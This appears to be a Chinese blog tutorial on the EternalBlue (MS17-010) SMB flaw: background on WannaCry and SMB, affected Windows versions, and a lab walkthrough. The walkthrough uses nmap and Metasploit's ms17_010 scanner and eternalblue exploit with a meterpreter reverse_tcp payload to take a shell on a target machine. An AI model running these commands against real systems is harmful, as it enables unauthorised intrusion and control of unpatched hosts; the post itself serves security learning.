永恒之蓝漏洞解析

最新推荐文章于 2024-05-03 02:57:37 发布

IDgoodis

最新推荐文章于 2024-05-03 02:57:37 发布

阅读量2.2k

点赞数 21

文章标签：网络

本文链接：https://blog.csdn.net/xhx836161547/article/details/128938239

版权

网络安全专栏收录该内容

5 篇文章 0 订阅

订阅专栏

文章目录

一、漏洞简介及分析：
二、漏洞复现

一、漏洞简介及分析：

1.何为永恒之蓝

永恒之蓝（Eternal Blue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至在2017年5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。在该病毒出来不久后就被微软通过打补丁修复。

2.什么是SMB协议

SMB（全称是Server Message Block）是一个协议服务器信息块，它是一种客户机/服务器（C/S架构）、请求/响应协议，通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源，电脑上的网上邻居就是靠SMB实现的；SMB协议工作在应用层和会话层，可以用在TCP/IP协议之上，SMB使用TCP139端口和TCP445端口。

3.SMB工作原理是什么？

（1）首先客户端发送一个SMB negport 请求数据报，并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求，并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH，结束通信。
（2）协议确定后，客户端进程向服务器发起一个用户或共享的认证，这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器，然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
（3）当客户端和服务器完成了磋商和认证之后，它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称，之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
（4）连接到相应资源后，SMB客户端就能够通过open SMB打开一个文件，通过read SMB读取文件，通过write SMB写入文件，通过close SMB关闭文件。

4.影响版本

目前已知受影响的 Windows 版本包括但不限于：WindowsNT，Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

二、漏洞复现

步骤1：利用kali的nmap扫描目标机的端口开放情况

nmap 192.168.43.131

在这里插入图片描述

扫描到开放了445端口，而永恒之蓝利用的就是445端口的smb服务，操作系统溢出漏洞。（443端口https）

步骤2：使用kali的msf框架，启动Metasploit，进入msf模板库

msfconsole

在这里插入图片描述

步骤3：在ms终端下输入以下命令查找ms17-010（永恒之蓝）相关模块

search ms17-010

在这里插入图片描述

步骤4：使用smb_ms17_010模块对目标靶机进行漏洞检测，确认其存在ms17-010漏洞。分别输入一下命令来对靶机进行漏洞检测：

①使用smb_ms17_010模块

use auxiliary/scanner/smb/smb_ms17_010

在这里插入图片描述

②查看该模块需要设置哪些参数

show options

在这里插入图片描述

③设置目标靶机的IP地址

set rhosts 192.168.43.136

在这里插入图片描述

④确认参数设置完毕后，输入命令run执行漏洞检测
在这里插入图片描述

检测到了ms17-010漏洞。
步骤5：

①使用ms17_010_eternalblue模块对目标机的ms17-010漏洞进行利用

use exploit/windows/smb/ms17_ 010_ eternalblue
//使用ms17_010_eternalblue模块并调用它的0号模块

在这里插入图片描述

②观察需要设置的参数

show options

在这里插入图片描述

③ 分别设置需要的参数
在这里插入图片描述

④ 执行命令run
在这里插入图片描述

攻击执行成功后，会显示meterpreter的提示符(因为步骤5在设置payload时选择了windows/x64/meterpreter/reverse_tcp )。直接在该提示符下输入shell命令，则可以拿到目标机的shell，成功控制目标主机，接下来就可以进行后渗透阶段了，对目标靶机进行各种操作。
在这里插入图片描述